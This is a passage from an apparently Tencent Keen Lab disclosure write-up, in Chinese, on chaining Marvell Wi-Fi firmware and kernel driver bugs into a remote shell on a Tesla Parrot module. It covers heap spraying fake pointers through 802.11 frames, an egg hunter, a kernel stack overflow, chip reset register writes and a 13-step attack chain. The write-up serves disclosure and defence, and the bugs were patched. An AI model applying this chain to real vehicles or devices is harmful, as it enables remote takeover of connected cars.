函数interface_call_funB()在地址0x4E3D0处被MCU中断的处理过程使用。

当复制的源地址到达0xC0040000时，整个内存可被看作是做了一次偏移。当复制的源地址到达0xC0080000时，整个内存偏移了两次。每次偏移的距离如下。

1
2
3
4

0xC0016478-0xC000DC9B=0x87DD
0xC0016478-0xC000E49B=0x7FDD
0xC0016478-0xC000EC9B=0x77DD
0xC0016478-0xC000F49B=0x6FDD

在多数情况下，漏洞触发后再产生中断时，这样的内存偏移会发生3至5次。所以指针g_interface_sdio会被来自下列地址的数据所覆盖。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

0xC000B818+0x87DD*1=0xC0013FF5
0xC000B818+0x87DD*2=0xC001C7D2
0xC000B818+0x87DD*3=0xC0024FAF
0xC000B818+0x87DD*4=0xC002D78C
…
0xC000B818+0x7FDD*1=0xC00137F5
0xC000B818+0x7FDD*2=0xC001B7D2
0xC000B818+0x7FDD*3=0xC00237AF
0xC000B818+0x7FDD*4=0xC004B700
…
0xC000B818+0x77DD*1=0xC0012FF5
0xC000B818+0x77DD*2=0xC001A7D2
0xC000B818+0x77DD*3=0xC0021FAF
0xC000B818+0x77DD*4=0xC002978C
…
0xC000B818+0x6FDD*1=0xC00127F5
0xC000B818+0x6FDD*2=0xC00197D2
0xC000B818+0x6FDD*3=0xC00207AF
0xC000B818+0x6FDD*4=0xC002778C
…

地址0xC0024FAF、 0xC00237AF和0xC0021FAF刚好位于一个巨大的DMA buffer 0xC0021F90~0xC0025790之中。这个DMA buffer用于存储无线芯片接收到的802.11数据帧。所以这个DMA buffer可以用来堆喷伪造的指针。

为了堆喷伪造的指针，我们可以发送许多正常的802.11数据帧给芯片，其中填满了伪造的指针。DMA buffer非常大，因此shellcode也可以直接放在数据帧中。为了提高利用的成功率，我们用了Egg Hunter在内存中查找真正的shellcode。

如果g_interface_sdio被成功的覆盖。Shellcode或egg hunter会非常的接近0xC000B818。我们所使用的伪造指针是0x41954，因为在地址0x41954+0x24处有一个指针0xC000B991。这样，我们可以劫持$PC到0xC000B991。同时，指针0x41954可被作为正常的指令执行。

1
2

54 19 ADDS            R4, R2, R5
04 00 MOVS            R4, R0

用这种方法有25%的成功率获得代码执行。

攻击主机系统

内核驱动中的漏洞可通过由芯片发送命令数据包给主机系统来触发。命令HostCmd_CMD_GET_MEM通常由函数wlan_get_firmware_mem()发起。

这种情况下，pdata_buf指向的buffer由kmalloc()分配，所以这是一个内核堆溢出。在真实环境中函数wlan_get_firmware_mem()不会被用到，并且堆溢出的利用较复杂。

然而，一个被攻陷的芯片在返回某个命令的结果时可以更改命令ID。因此漏洞可以在许多命令的处理过程中被触发。这时，根据pdata_buf指向的位置，漏洞即可以是堆溢出也可以是栈溢出。我们找到了函数wlan_enable_11d()，它把局部变量enable的地址作为pdata_buf。因此我们可以触发一个栈溢出。

函数wlan_enable_11d()被wlan_11h_process_join()调用。显然HostCmd_CMD_802_11_SNMP_MIB会在与AP的连接过程中被使用。固件中的漏洞只能在Parrot已经加入AP后使用。为了触发wlan_enable_11d()中的栈溢出，芯片需要欺骗内核驱动芯片已经断开与AP的连接。接着，驱动会发起重连，在这个过程中HostCmd_CMD_802_11_SNMP_MIB会发送给芯片。于是，为了触发重连过程，芯片需要发送EVENT_DISASSOCIATED事件给驱动。

当在芯片中触发漏洞并获得代码执行之后芯片不能再正常工作。所以我们的shellcode需要自己处理重连过程中的一系列命令并返回相应的结果。在命令HostCmd_CMD_802_11_SNMP_MIB来到之前，唯一一个我们要构造返回结果的命令是HostCmd_CMD_802_11_SCAN。下面是断开连接到触发内核漏洞的整个过程。

SDIO接口上事件和命令数据包的发送可直接通过操作寄存器SDIO_CardStatus和SDIO_SQReadBaseAddress0来完成。SDIO接口上获得内核发来的数据可借助SDIO_SQWriteBaseAddress0寄存器。

Linux系统中命令执行

Parrot的Linux内核2.6.36不支持NX，所以可以直接在栈上执行shellcode。同时结构HostCmd_DS_COMMAND中的size是u16类型，所以shellcode可以足够大来做许多事情。

在触发栈溢出并控制$PC之后，$R7刚好指向内核栈，所以可以很方便的执行shellcode。

在shellcode中的函数run_linux_cmd调用了Usermode Helper API来执行Linux命令。

远程获取shell

在漏洞触发后，芯片中的内存被完全破坏无法继续正常工作。同时内核栈已损坏，无法正常工作。

为了让Parrot的无线功能可以重新正常工作，我们做了如下事情：

1. 在向内核发送完payload之后，我们通过如下命令重置了芯片。在这之后，内核驱动会重新发现芯片然后重新下载固件。

1
2
3

*(unsigned int *)0x8000201c|=2;
*(unsigned int *)0x8000a514=0;
*(unsigned int *)0x80003034=1;

2. 在shellcode的函数fun_ret()中调用内核函数rtnl_unlock()来解开rtnl_mutex锁。否则Linux的无线功能会无法正常功能，导致Parrot被CID重启。

3. 在shellcode的函数fun_ret()中调用do_exit()来终止用户态进程wpa_supplicant并重新运行，这样就不需要修复内核栈。

4. 杀掉进程ck5050并重新运行，否则稍后ck5050会因芯片重置而崩溃，导致Parrot被CID重启。

为了远程获取shell，我们强制让Parrot连入我们自己的AP并修改iptables规则。之后，便可通过23端口访问到Parrot的shell。

最终拿到shell的成功率在10%左右。

完整的利用过程

1. 攻击者发送DEAUTH帧给附近的所有AP。

2. 当Tesla重连至AP时，攻击者可以嗅探到特斯拉的MAC地址。

3. 堆喷伪造的指针，然后发送Action帧来触发固件中的漏洞。

4. 函数memcpy()会一直工作直到有中断产生。

5. 在芯片内成功执行任意代码。

6. 第一阶段shellcode发送EVENT_DISASSOCIATED事件给驱动。

7. 第一阶段shellcode处理一系列命令并等待命令HostCmd_CMD_802_11_SNMP_MIB。

8. 第一阶段shellcode通过SDIO接口发送payload来触发内核栈溢出。

9. 第二阶段shellcode执行并调用call_usermodehelper()函数。

10. 成功执行Linux系统命令并尝试修复Parrot的无线功能。

11. 攻击者搭建自己的AP热点及DHCP服务器。

12. 通过Linux命令强制Parrot加入攻击者建立的AP热点并修改iptables规则。

13. 攻击者可通过Parrot的23端口获得Parrot的shell。

演示视频

总结

在这篇文章中，我们展示了Marvell无线芯片固件及驱动中漏洞的具体细节，并演示了如何利用这两个漏洞仅通过发送无线数据包的形式远程在Parrot系统内部实现命令执行。

负责任的漏洞披露

本文所提到的两个漏洞已于2019年3月报告给Tesla，Tesla已经在2019.36.2版本中对该漏洞进行了修复。同时，Marvell也修复了该漏洞并针对该漏洞发布了安全公告[4]。漏洞研究报告的披露已事先与特斯拉沟通过，特斯拉对我们的发布知情。

你可以通过下列链接来跟踪本文提到的漏洞。

1. https://www.cnvd.org.cn/flaw/show/CNVD-2019-44105

2. http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201911-1040

3. http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201911-1038

4. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13581

5. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13582

腾讯科恩实验室介绍

腾讯科恩实验室作为腾讯集团云与智慧产业事业群旗下一支国际一流的信息安全团队，技术实力和研究成果处于国际领先水平。近年来，更是在IoT安全、网联汽车与自动驾驶安全、云计算和虚拟化技术安全等领域取得突破性成果。随着更多新技术进入产业互联网，腾讯科恩实验室继续保持领先的前沿技术研究能力，同时向智能网联汽车、安卓应用生态、IoT等行业开放核心技术能力和行业解决方案。护航各行业数字化变革，守护全网用户的信息安全是腾讯科恩实验室的使命。

参考资料

[1] https://fccid.io/RKXFC6050W/Users-Manual/user-manual-1707044

[2] https://www.marvell.com/wireless/88w8688/

[3] https://www.marvell.com/wireless/assets/Marvell-88W8688-SoC.pdf

[4] https://www.marvell.com/documents/ioaj5dntk2ubykssa78s/